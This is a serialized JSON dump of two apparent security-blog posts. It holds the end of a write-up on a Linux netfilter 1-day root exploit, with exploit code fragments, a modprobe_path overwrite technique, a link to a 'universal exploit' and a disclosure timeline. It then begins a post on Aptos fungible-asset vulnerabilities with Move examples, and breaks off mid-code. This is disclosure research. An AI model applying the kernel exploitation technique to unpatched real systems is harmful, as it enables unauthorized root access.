i",{"type":25,"tag":201,"props":61691,"children":61692},{"style":261},[61693],{"type":31,"value":52347},{"type":25,"tag":201,"props":61695,"children":61696},{"style":220},[61697],{"type":31,"value":4666},{"type":25,"tag":201,"props":61699,"children":61700},{"class":203,"line":994},[61701],{"type":25,"tag":201,"props":61702,"children":61703},{"style":220},[61704],{"type":31,"value":528},{"type":25,"tag":201,"props":61706,"children":61707},{"class":203,"line":1016},[61708,61712,61716,61721,61725,61730,61735,61739,61744,61748,61752,61757,61761,61765,61769],{"type":25,"tag":201,"props":61709,"children":61710},{"style":230},[61711],{"type":31,"value":59880},{"type":25,"tag":201,"props":61713,"children":61714},{"style":220},[61715],{"type":31,"value":238},{"type":25,"tag":201,"props":61717,"children":61718},{"style":214},[61719],{"type":31,"value":61720},"read",{"type":25,"tag":201,"props":61722,"children":61723},{"style":220},[61724],{"type":31,"value":298},{"type":25,"tag":201,"props":61726,"children":61727},{"style":246},[61728],{"type":31,"value":61729},"sock",{"type":25,"tag":201,"props":61731,"children":61732},{"style":220},[61733],{"type":31,"value":61734},"[i][",{"type":25,"tag":201,"props":61736,"children":61737},{"style":426},[61738],{"type":31,"value":5516},{"type":25,"tag":201,"props":61740,"children":61741},{"style":220},[61742],{"type":31,"value":61743},"], leak, ",{"type":25,"tag":201,"props":61745,"children":61746},{"style":426},[61747],{"type":31,"value":59227},{"type":25,"tag":201,"props":61749,"children":61750},{"style":261},[61751],{"type":31,"value":52333},{"type":25,"tag":201,"props":61753,"children":61754},{"style":426},[61755],{"type":31,"value":61756}," 320",{"type":25,"tag":201,"props":61758,"children":61759},{"style":220},[61760],{"type":31,"value":385},{"type":25,"tag":201,"props":61762,"children":61763},{"style":261},[61764],{"type":31,"value":1298},{"type":25,"tag":201,"props":61766,"children":61767},{"style":426},[61768],{"type":31,"value":4554},{"type":25,"tag":201,"props":61770,"children":61771},{"style":220},[61772],{"type":31,"value":4666},{"type":25,"tag":201,"props":61774,"children":61775},{"class":203,"line":1089},[61776],{"type":25,"tag":201,"props":61777,"children":61778},{"style":220},[61779],{"type":31,"value":569},{"type":25,"tag":201,"props":61781,"children":61782},{"class":203,"line":1107},[61783,61788,61792,61797],{"type":25,"tag":201,"props":61784,"children":61785},{"style":214},[61786],{"type":31,"value":61787},"                perror",{"type":25,"tag":201,"props":61789,"children":61790},{"style":220},[61791],{"type":31,"value":298},{"type":25,"tag":201,"props":61793,"children":61794},{"style":267},[61795],{"type":31,"value":61796},"\"[-] read(socket)\"",{"type":25,"tag":201,"props":61798,"children":61799},{"style":220},[61800],{"type":31,"value":308},{"type":25,"tag":201,"props":61802,"children":61803},{"class":203,"line":1116},[61804,61809,61813,61817],{"type":25,"tag":201,"props":61805,"children":61806},{"style":230},[61807],{"type":31,"value":61808},"                return",{"type":25,"tag":201,"props":61810,"children":61811},{"style":261},[61812],{"type":31,"value":52333},{"type":25,"tag":201,"props":61814,"children":61815},{"style":426},[61816],{"type":31,"value":5516},{"type":25,"tag":201,"props":61818,"children":61819},{"style":220},[61820],{"type":31,"value":461},{"type":25,"tag":201,"props":61822,"children":61823},{"class":203,"line":1124},[61824],{"type":25,"tag":201,"props":61825,"children":61826},{"style":220},[61827],{"type":31,"value":59964},{"type":25,"tag":201,"props":61829,"children":61830},{"class":203,"line":1163},[61831],{"type":25,"tag":201,"props":61832,"children":61833},{"style":220},[61834],{"type":31,"value":4853},{"type":25,"tag":201,"props":61836,"children":61837},{"class":203,"line":1172},[61838],{"type":25,"tag":201,"props":61839,"children":61840},{"style":220},[61841],{"type":31,"value":4861},{"type":25,"tag":201,"props":61843,"children":61844},{"class":203,"line":1181},[61845,61849,61853,61858],{"type":25,"tag":201,"props":61846,"children":61847},{"style":214},[61848],{"type":31,"value":56585},{"type":25,"tag":201,"props":61850,"children":61851},{"style":220},[61852],{"type":31,"value":298},{"type":25,"tag":201,"props":61854,"children":61855},{"style":267},[61856],{"type":31,"value":61857},"\"[-] fake modprobe failed\"",{"type":25,"tag":201,"props":61859,"children":61860},{"style":220},[61861],{"type":31,"value":308},{"type":25,"tag":201,"props":61863,"children":61864},{"class":203,"line":1190},[61865],{"type":25,"tag":201,"props":61866,"children":61867},{"style":220},[61868],{"type":31,"value":11821},{"type":25,"tag":34,"props":61870,"children":61871},{},[61872,61874,61881],{"type":31,"value":61873},"This trick has already been throughly detailed by ",{"type":25,"tag":71,"props":61875,"children":61878},{"href":61876,"rel":61877},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[75],[61879],{"type":31,"value":61880},"lau",{"type":31,"value":61882},", so we won't go much more into it.",{"type":25,"tag":40,"props":61884,"children":61886},{"id":61885},"universal-exploit-demo",[61887],{"type":31,"value":61888},"Universal exploit demo",{"type":25,"tag":34,"props":61890,"children":61891},{},[61892,61894,61900],{"type":31,"value":61893},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":25,"tag":71,"props":61895,"children":61898},{"href":61896,"rel":61897},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[75],[61899],{"type":31,"value":58494},{"type":31,"value":80},{"type":25,"tag":26,"props":61902,"children":61904},{"id":61903},"disclosure-timeline",[61905],{"type":31,"value":61906},"Disclosure Timeline",{"type":25,"tag":18183,"props":61908,"children":61909},{},[61910,61915,61920,61925,61930],{"type":25,"tag":6948,"props":61911,"children":61912},{},[61913],{"type":31,"value":61914},"March 21st -- Patch made public",{"type":25,"tag":6948,"props":61916,"children":61917},{},[61918],{"type":31,"value":61919},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":25,"tag":6948,"props":61921,"children":61922},{},[61923],{"type":31,"value":61924},"March 24th -- Wrote KernelCTF exploit",{"type":25,"tag":6948,"props":61926,"children":61927},{},[61928],{"type":31,"value":61929},"March 26th -- Wrote Universal exploit",{"type":25,"tag":6948,"props":61931,"children":61932},{},[61933],{"type":31,"value":61934},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":25,"tag":34,"props":61936,"children":61937},{},[61938],{"type":31,"value":61939},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":25,"tag":26,"props":61941,"children":61942},{"id":4323},[61943],{"type":31,"value":4326},{"type":25,"tag":34,"props":61945,"children":61946},{},[61947],{"type":31,"value":61948},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":25,"tag":34,"props":61950,"children":61951},{},[61952],{"type":31,"value":61953},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":25,"tag":4349,"props":61955,"children":61956},{},[61957],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":61959},[61960,61963,61966,61969,61970,61980,61988,61989],{"id":51645,"depth":226,"text":51648,"children":61961},[61962],{"id":51666,"depth":278,"text":51669},{"id":51709,"depth":226,"text":51709,"children":61964},[61965],{"id":51756,"depth":278,"text":51759},{"id":51814,"depth":226,"text":51817,"children":61967},[61968],{"id":52977,"depth":278,"text":52980},{"id":54852,"depth":226,"text":54855},{"id":55254,"depth":226,"text":55257,"children":61971},[61972,61973,61974,61976,61977,61978,61979],{"id":55281,"depth":278,"text":55284},{"id":56163,"depth":278,"text":56166},{"id":56749,"depth":278,"text":61975},"Leaking self pointer of nft_object",{"id":57147,"depth":278,"text":57150},{"id":57661,"depth":278,"text":57664},{"id":57791,"depth":278,"text":57448},{"id":58475,"depth":278,"text":58478},{"id":58498,"depth":226,"text":58501,"children":61981},[61982,61983,61984,61985,61987],{"id":58509,"depth":278,"text":58512},{"id":59367,"depth":278,"text":59370},{"id":59443,"depth":278,"text":59446},{"id":61068,"depth":278,"text":61986},"Overwriting modprobe_path",{"id":61885,"depth":278,"text":61888},{"id":61903,"depth":226,"text":61906},{"id":4323,"depth":226,"text":4326},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":61994,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":61995,"description":61996,"image":61997,"date":61999,"isFeatured":17,"onBlogPage":17,"tags":62000,"body":62001,"_type":4371,"_id":68719,"_source":4373,"_file":68720,"_stem":68721,"_extension":4376},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":61998,"width":6892,"height":6893},"/posts/aptos-guide/title.png","2025-02-10",[7388],{"type":22,"children":62002,"toc":68703},[62003,62016,62021,62030,62036,62064,62137,62177,62211,62372,62391,62472,62512,62540,62557,62562,62570,62575,62581,62602,62682,62715,62723,62736,62741,63125,63130,63135,63141,63146,63158,63262,63300,63303,63321,63629,63634,63646,63652,63678,63699,63704,63883,63903,63909,63929,63941,63946,63952,63964,64027,64054,64078,64299,64302,64321,64431,64488,64624,64651,64657,64683,64927,64955,65257,65290,65304,65330,65363,65670,65682,65959,65973,66290,66309,66315,66347,66387,66488,66508,66628,66645,66719,66731,66819,66840,66846,66851,66856,66873,66894,67265,67324,67329,67780,67785,67821,67827,67839,67861,67887,68094,68108,68363,68375,68402,68553,68572,68602,68606,68617,68622,68635,68699],{"type":25,"tag":34,"props":62004,"children":62005},{},[62006,62008,62014],{"type":31,"value":62007},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":25,"tag":115,"props":62009,"children":62011},{"className":62010},[],[62012],{"type":31,"value":62013},"coin",{"type":31,"value":62015}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":25,"tag":34,"props":62017,"children":62018},{},[62019],{"type":31,"value":62020},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":25,"tag":62022,"props":62023,"children":62024},"important",{},[62025],{"type":25,"tag":34,"props":62026,"children":62027},{},[62028],{"type":31,"value":62029},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":25,"tag":26,"props":62031,"children":62033},{"id":62032},"aptos-coin-standard",[62034],{"type":31,"value":62035},"Aptos Coin standard",{"type":25,"tag":34,"props":62037,"children":62038},{},[62039,62041,62047,62049,62054,62055,62062],{"type":31,"value":62040},"In the beginning, Aptos used ",{"type":25,"tag":115,"props":62042,"children":62044},{"className":62043},[],[62045],{"type":31,"value":62046},"Coin",{"type":31,"value":62048},". It is still in use, although it is now considered \"legacy\". ",{"type":25,"tag":115,"props":62050,"children":62052},{"className":62051},[],[62053],{"type":31,"value":62046},{"type":31,"value":7010},{"type":25,"tag":71,"props":62056,"children":62059},{"href":62057,"rel":62058},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[75],[62060],{"type":31,"value":62061},"defined",{"type":31,"value":62063}," in Aptos as follows:",{"type":25,"tag":191,"props":62065,"children":62067},{"className":4487,"code":62066,"language":4486,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[62068],{"type":25,"tag":115,"props":62069,"children":62070},{"__ignoreMap":7},[62071,62110,62130],{"type":25,"tag":201,"props":62072,"children":62073},{"class":203,"line":204},[62074,62078,62082,62086,62090,62094,62098,62102,62106],{"type":25,"tag":201,"props":62075,"children":62076},{"style":208},[62077],{"type":31,"value":10905},{"type":25,"tag":201,"props":62079,"children":62080},{"style":4925},[62081],{"type":31,"value":7311},{"type":25,"tag":201,"props":62083,"children":62084},{"style":220},[62085],{"type":31,"value":1298},{"type":25,"tag":201,"props":62087,"children":62088},{"style":246},[62089],{"type":31,"value":7320},{"type":25,"tag":201,"props":62091,"children":62092},{"style":4925},[62093],{"type":31,"value":7325},{"type":25,"tag":201,"props":62095,"children":62096},{"style":220},[62097],{"type":31,"value":7330},{"type":25,"tag":201,"props":62099,"children":62100},{"style":246},[62101],{"type":31,"value":7335},{"type":25,"tag":201,"props":62103,"children":62104},{"style":246},[62105],{"type":31,"value":7340},{"type":25,"tag":201,"props":62107,"children":62108},{"style":220},[62109],{"type":31,"value":327},{"type":25,"tag":201,"props":62111,"children":62112},{"class":203,"line":226},[62113,62118,62122,62126],{"type":25,"tag":201,"props":62114,"children":62115},{"style":246},[62116],{"type":31,"value":62117},"    value",{"type":25,"tag":201,"props":62119,"children":62120},{"style":261},[62121],{"type":31,"value":5997},{"type":25,"tag":201,"props":62123,"children":62124},{"style":4925},[62125],{"type":31,"value":7369},{"type":25,"tag":201,"props":62127,"children":62128},{"style":220},[62129],{"type":31,"value":547},{"type":25,"tag":201,"props":62131,"children":62132},{"class":203,"line":278},[62133],{"type":25,"tag":201,"props":62134,"children":62135},{"style":220},[62136],{"type":31,"value":1187},{"type":25,"tag":34,"props":62138,"children":62139},{},[62140,62142,62147,62149,62155,62156,62162,62164,62169,62171,62176],{"type":31,"value":62141},"Aptos distinguishes coins by their type (",{"type":25,"tag":115,"props":62143,"children":62145},{"className":62144},[],[62146],{"type":31,"value":8092},{"type":31,"value":62148},") at compile time. For example, ",{"type":25,"tag":115,"props":62150,"children":62152},{"className":62151},[],[62153],{"type":31,"value":62154},"Coin\u003COtter>",{"type":31,"value":12493},{"type":25,"tag":115,"props":62157,"children":62159},{"className":62158},[],[62160],{"type":31,"value":62161},"Coin\u003CWeasel>",{"type":31,"value":62163}," represent different coins, and you cannot pass a ",{"type":25,"tag":115,"props":62165,"children":62167},{"className":62166},[],[62168],{"type":31,"value":62161},{"type":31,"value":62170}," to a function expecting ",{"type":25,"tag":115,"props":62172,"children":62174},{"className":62173},[],[62175],{"type":31,"value":62154},{"type":31,"value":80},{"type":25,"tag":34,"props":62178,"children":62179},{},[62180,62182,62187,62189,62194,62196,62201,62203,62209],{"type":31,"value":62181},"The type signature reveals why ",{"type":25,"tag":115,"props":62183,"children":62185},{"className":62184},[],[62186],{"type":31,"value":62046},{"type":31,"value":62188}," has become a legacy standard. ",{"type":25,"tag":115,"props":62190,"children":62192},{"className":62191},[],[62193],{"type":31,"value":62046},{"type":31,"value":62195}," has only the ",{"type":25,"tag":115,"props":62197,"children":62199},{"className":62198},[],[62200],{"type":31,"value":7449},{"type":31,"value":62202}," ability and uses a ",{"type":25,"tag":115,"props":62204,"children":62206},{"className":62205},[],[62207],{"type":31,"value":62208},"CoinStore",{"type":31,"value":62210}," wrapper to store the coin and metadata:",{"type":25,"tag":191,"props":62212,"children":62214},{"className":4487,"code":62213,"language":4486,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[62215],{"type":25,"tag":115,"props":62216,"children":62217},{"__ignoreMap":7},[62218,62258,62286,62306,62336,62365],{"type":25,"tag":201,"props":62219,"children":62220},{"class":203,"line":204},[62221,62225,62230,62234,62238,62242,62246,62250,62254],{"type":25,"tag":201,"props":62222,"children":62223},{"style":208},[62224],{"type":31,"value":10905},{"type":25,"tag":201,"props":62226,"children":62227},{"style":4925},[62228],{"type":31,"value":62229}," CoinStore",{"type":25,"tag":201,"props":62231,"children":62232},{"style":220},[62233],{"type":31,"value":1298},{"type":25,"tag":201,"props":62235,"children":62236},{"style":246},[62237],{"type":31,"value":7320},{"type":25,"tag":201,"props":62239,"children":62240},{"style":4925},[62241],{"type":31,"value":7325},{"type":25,"tag":201,"props":62243,"children":62244},{"style":220},[62245],{"type":31,"value":7330},{"type":25,"tag":201,"props":62247,"children":62248},{"style":246},[62249],{"type":31,"value":7335},{"type":25,"tag":201,"props":62251,"children":62252},{"style":246},[62253],{"type":31,"value":7440},{"type":25,"tag":201,"props":62255,"children":62256},{"style":220},[62257],{"type":31,"value":327},{"type":25,"tag":201,"props":62259,"children":62260},{"class":203,"line":226},[62261,62266,62270,62274,62278,62282],{"type":25,"tag":201,"props":62262,"children":62263},{"style":246},[62264],{"type":31,"value":62265},"    coin",{"type":25,"tag":201,"props":62267,"children":62268},{"style":261},[62269],{"type":31,"value":5997},{"type":25,"tag":201,"props":62271,"children":62272},{"style":4925},[62273],{"type":31,"value":7311},{"type":25,"tag":201,"props":62275,"children":62276},{"style":220},[62277],{"type":31,"value":1298},{"type":25,"tag":201,"props":62279,"children":62280},{"style":4925},[62281],{"type":31,"value":8092},{"type":25,"tag":201,"props":62283,"children":62284},{"style":220},[62285],{"type":31,"value":7646},{"type":25,"tag":201,"props":62287,"children":62288},{"class":203,"line":278},[62289,62294,62298,62302],{"type":25,"tag":201,"props":62290,"children":62291},{"style":246},[62292],{"type":31,"value":62293},"    frozen",{"type":25,"tag":201,"props":62295,"children":62296},{"style":261},[62297],{"type":31,"value":5997},{"type":25,"tag":201,"props":62299,"children":62300},{"style":4925},[62301],{"type":31,"value":13552},{"type":25,"tag":201,"props":62303,"children":62304},{"style":220},[62305],{"type":31,"value":547},{"type":25,"tag":201,"props":62307,"children":62308},{"class":203,"line":311},[62309,62314,62318,62323,62327,62332],{"type":25,"tag":201,"props":62310,"children":62311},{"style":246},[62312],{"type":31,"value":62313},"    deposit_events",{"type":25,"tag":201,"props":62315,"children":62316},{"style":261},[62317],{"type":31,"value":5997},{"type":25,"tag":201,"props":62319,"children":62320},{"style":4925},[62321],{"type":31,"value":62322}," EventHandle",{"type":25,"tag":201,"props":62324,"children":62325},{"style":220},[62326],{"type":31,"value":1298},{"type":25,"tag":201,"props":62328,"children":62329},{"style":4925},[62330],{"type":31,"value":62331},"DepositEvent",{"type":25,"tag":201,"props":62333,"children":62334},{"style":220},[62335],{"type":31,"value":7646},{"type":25,"tag":201,"props":62337,"children":62338},{"class":203,"line":330},[62339,62344,62348,62352,62356,62361],{"type":25,"tag":201,"props":62340,"children":62341},{"style":246},[62342],{"type":31,"value":62343},"    withdraw_events",{"type":25,"tag":201,"props":62345,"children":62346},{"style":261},[62347],{"type":31,"value":5997},{"type":25,"tag":201,"props":62349,"children":62350},{"style":4925},[62351],{"type":31,"value":62322},{"type":25,"tag":201,"props":62353,"children":62354},{"style":220},[62355],{"type":31,"value":1298},{"type":25,"tag":201,"props":62357,"children":62358},{"style":4925},[62359],{"type":31,"value":62360},"WithdrawEvent",{"type":25,"tag":201,"props":62362,"children":62363},{"style":220},[62364],{"type":31,"value":7646},{"type":25,"tag":201,"props":62366,"children":62367},{"class":203,"line":397},[62368],{"type":25,"tag":201,"props":62369,"children":62370},{"style":220},[62371],{"type":31,"value":1187},{"type":25,"tag":34,"props":62373,"children":62374},{},[62375,62377,62382,62384,62389],{"type":31,"value":62376},"However, an astute reader would note that this isn't the only place a ",{"type":25,"tag":115,"props":62378,"children":62380},{"className":62379},[],[62381],{"type":31,"value":62046},{"type":31,"value":62383}," can be stored. You can create your own ",{"type":25,"tag":115,"props":62385,"children":62387},{"className":62386},[],[62388],{"type":31,"value":62046},{"type":31,"value":62390}," wallet, which could look like this:",{"type":25,"tag":191,"props":62392,"children":62394},{"className":4487,"code":62393,"language":4486,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[62395],{"type":25,"tag":115,"props":62396,"children":62397},{"__ignoreMap":7},[62398,62438,62465],{"type":25,"tag":201,"props":62399,"children":62400},{"class":203,"line":204},[62401,62405,62410,62414,62418,62422,62426,62430,62434],{"type":25,"tag":201,"props":62402,"children":62403},{"style":208},[62404],{"type":31,"value":10905},{"type":25,"tag":201,"props":62406,"children":62407},{"style":4925},[62408],{"type":31,"value":62409}," DefinitelyLegitCoinStore",{"type":25,"tag":201,"props":62411,"children":62412},{"style":220},[62413],{"type":31,"value":1298},{"type":25,"tag":201,"props":62415,"children":62416},{"style":246},[62417],{"type":31,"value":7320},{"type":25,"tag":201,"props":62419,"children":62420},{"style":4925},[62421],{"type":31,"value":7325},{"type":25,"tag":201,"props":62423,"children":62424},{"style":220},[62425],{"type":31,"value":7330},{"type":25,"tag":201,"props":62427,"children":62428},{"style":246},[62429],{"type":31,"value":7335},{"type":25,"tag":201,"props":62431,"children":62432},{"style":246},[62433],{"type":31,"value":7440},{"type":25,"tag":201,"props":62435,"children":62436},{"style":220},[62437],{"type":31,"value":327},{"type":25,"tag":201,"props":62439,"children":62440},{"class":203,"line":226},[62441,62445,62449,62453,62457,62461],{"type":25,"tag":201,"props":62442,"children":62443},{"style":246},[62444],{"type":31,"value":62265},{"type":25,"tag":201,"props":62446,"children":62447},{"style":261},[62448],{"type":31,"value":5997},{"type":25,"tag":201,"props":62450,"children":62451},{"style":4925},[62452],{"type":31,"value":7311},{"type":25,"tag":201,"props":62454,"children":62455},{"style":220},[62456],{"type":31,"value":1298},{"type":25,"tag":201,"props":62458,"children":62459},{"style":4925},[62460],{"type":31,"value":8092},{"type":25,"tag":201,"props":62462,"children":62463},{"style":220},[62464],{"type":31,"value":1308},{"type":25,"tag":201,"props":62466,"children":62467},{"class":203,"line":278},[62468],{"type":25,"tag":201,"props":62469,"children":62470},{"style":220},[62471],{"type":31,"value":1187},{"type":25,"tag":34,"props":62473,"children":62474},{},[62475,62480,62482,62488,62490,62495,62497,62503,62505,62510],{"type":25,"tag":115,"props":62476,"children":62478},{"className":62477},[],[62479],{"type":31,"value":62208},{"type":31,"value":62481}," includes a ",{"type":25,"tag":115,"props":62483,"children":62485},{"className":62484},[],[62486],{"type":31,"value":62487},"frozen",{"type":31,"value":62489}," field, allowing the issuer to block transfers to and from the store. ",{"type":25,"tag":115,"props":62491,"children":62493},{"className":62492},[],[62494],{"type":31,"value":62208},{"type":31,"value":62496}," is also required for a ",{"type":25,"tag":115,"props":62498,"children":62500},{"className":62499},[],[62501],{"type":31,"value":62502},"burn_from",{"type":31,"value":62504}," operation, which withdraws the ",{"type":25,"tag":115,"props":62506,"children":62508},{"className":62507},[],[62509],{"type":31,"value":62013},{"type":31,"value":62511}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":25,"tag":34,"props":62513,"children":62514},{},[62515,62517,62522,62524,62531,62533,62538],{"type":31,"value":62516},"Storing ",{"type":25,"tag":115,"props":62518,"children":62520},{"className":62519},[],[62521],{"type":31,"value":62013},{"type":31,"value":62523}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":25,"tag":71,"props":62525,"children":62528},{"href":62526,"rel":62527},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[75],[62529],{"type":31,"value":62530},"AIP-21",{"type":31,"value":62532}," summarizes the ",{"type":25,"tag":115,"props":62534,"children":62536},{"className":62535},[],[62537],{"type":31,"value":62013},{"type":31,"value":62539}," problems:",{"type":25,"tag":4439,"props":62541,"children":62542},{},[62543,62552],{"type":25,"tag":34,"props":62544,"children":62545},{},[62546,62550],{"type":25,"tag":201,"props":62547,"children":62548},{},[62549],{"type":31,"value":11095},{"type":31,"value":62551}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":25,"tag":34,"props":62553,"children":62554},{},[62555],{"type":31,"value":62556},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":25,"tag":34,"props":62558,"children":62559},{},[62560],{"type":31,"value":62561},"And declares, that:",{"type":25,"tag":4439,"props":62563,"children":62564},{},[62565],{"type":25,"tag":34,"props":62566,"children":62567},{},[62568],{"type":31,"value":62569},"Fungible assets addresses these issues.",{"type":25,"tag":34,"props":62571,"children":62572},{},[62573],{"type":31,"value":62574},"Let's find out whether this is indeed the case.",{"type":25,"tag":26,"props":62576,"children":62578},{"id":62577},"the-fungible-assets",[62579],{"type":31,"value":62580},"The fungible assets",{"type":25,"tag":34,"props":62582,"children":62583},{},[62584,62586,62592,62594,62601],{"type":31,"value":62585},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":25,"tag":115,"props":62587,"children":62589},{"className":62588},[],[62590],{"type":31,"value":62591},"FungibleAsset",{"type":31,"value":62593}," uses the ",{"type":25,"tag":71,"props":62595,"children":62598},{"href":62596,"rel":62597},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[75],[62599],{"type":31,"value":62600},"hot-potato pattern",{"type":31,"value":5997},{"type":25,"tag":191,"props":62603,"children":62605},{"className":4487,"code":62604,"language":4486,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[62606],{"type":25,"tag":115,"props":62607,"children":62608},{"__ignoreMap":7},[62609,62625,62655,62675],{"type":25,"tag":201,"props":62610,"children":62611},{"class":203,"line":204},[62612,62616,62621],{"type":25,"tag":201,"props":62613,"children":62614},{"style":208},[62615],{"type":31,"value":10905},{"type":25,"tag":201,"props":62617,"children":62618},{"style":4925},[62619],{"type":31,"value":62620}," FungibleAsset",{"type":25,"tag":201,"props":62622,"children":62623},{"style":220},[62624],{"type":31,"value":327},{"type":25,"tag":201,"props":62626,"children":62627},{"class":203,"line":226},[62628,62633,62637,62642,62646,62651],{"type":25,"tag":201,"props":62629,"children":62630},{"style":246},[62631],{"type":31,"value":62632},"    metadata",{"type":25,"tag":201,"props":62634,"children":62635},{"style":261},[62636],{"type":31,"value":5997},{"type":25,"tag":201,"props":62638,"children":62639},{"style":4925},[62640],{"type":31,"value":62641}," Object",{"type":25,"tag":201,"props":62643,"children":62644},{"style":220},[62645],{"type":31,"value":1298},{"type":25,"tag":201,"props":62647,"children":62648},{"style":4925},[62649],{"type":31,"value":62650},"Metadata",{"type":25,"tag":201,"props":62652,"children":62653},{"style":220},[62654],{"type":31,"value":7646},{"type":25,"tag":201,"props":62656,"children":62657},{"class":203,"line":278},[62658,62663,62667,62671],{"type":25,"tag":201,"props":62659,"children":62660},{"style":246},[62661],{"type":31,"value":62662},"    amount",{"type":25,"tag":201,"props":62664,"children":62665},{"style":261},[62666],{"type":31,"value":5997},{"type":25,"tag":201,"props":62668,"children":62669},{"style":4925},[62670],{"type":31,"value":7369},{"type":25,"tag":201,"props":62672,"children":62673},{"style":220},[62674],{"type":31,"value":547},{"type":25,"tag":201,"props":62676,"children":62677},{"class":203,"line":311},[62678],{"type":25,"tag":201,"props":62679,"children":62680},{"style":220},[62681],{"type":31,"value":1187},{"type":25,"tag":34,"props":62683,"children":62684},{},[62685,62687,62692,62693,62698,62700,62705,62707,62714],{"type":31,"value":62686},"Unlike ",{"type":25,"tag":115,"props":62688,"children":62690},{"className":62689},[],[62691],{"type":31,"value":62046},{"type":31,"value":919},{"type":25,"tag":115,"props":62694,"children":62696},{"className":62695},[],[62697],{"type":31,"value":62591},{"type":31,"value":62699}," types are defined at runtime through the ",{"type":25,"tag":115,"props":62701,"children":62703},{"className":62702},[],[62704],{"type":31,"value":62650},{"type":31,"value":62706}," field. This change was meant to ",{"type":25,"tag":71,"props":62708,"children":62711},{"href":62709,"rel":62710},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[75],[62712],{"type":31,"value":62713},"enhance extensibility",{"type":31,"value":5997},{"type":25,"tag":4439,"props":62716,"children":62717},{},[62718],{"type":25,"tag":34,"props":62719,"children":62720},{},[62721],{"type":31,"value":62722},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":25,"tag":34,"props":62724,"children":62725},{},[62726,62728,62734],{"type":31,"value":62727},"An important implication is that functions accepting ",{"type":25,"tag":115,"props":62729,"children":62731},{"className":62730},[],[62732],{"type":31,"value":62733},"FungibleAssets",{"type":31,"value":62735}," must verify the metadata to ensure valid assets.",{"type":25,"tag":34,"props":62737,"children":62738},{},[62739],{"type":31,"value":62740},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":25,"tag":191,"props":62742,"children":62744},{"className":4487,"code":62743,"language":4486,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[62745],{"type":25,"tag":115,"props":62746,"children":62747},{"__ignoreMap":7},[62748,62785,62823,62847,62859,62867,62912,62946,62976,62983,63020,63027,63065,63072,63118],{"type":25,"tag":201,"props":62749,"children":62750},{"class":203,"line":204},[62751,62756,62760,62765,62769,62773,62777,62781],{"type":25,"tag":201,"props":62752,"children":62753},{"style":246},[62754],{"type":31,"value":62755},"public",{"type":25,"tag":201,"props":62757,"children":62758},{"style":246},[62759],{"type":31,"value":7715},{"type":25,"tag":201,"props":62761,"children":62762},{"style":246},[62763],{"type":31,"value":62764}," 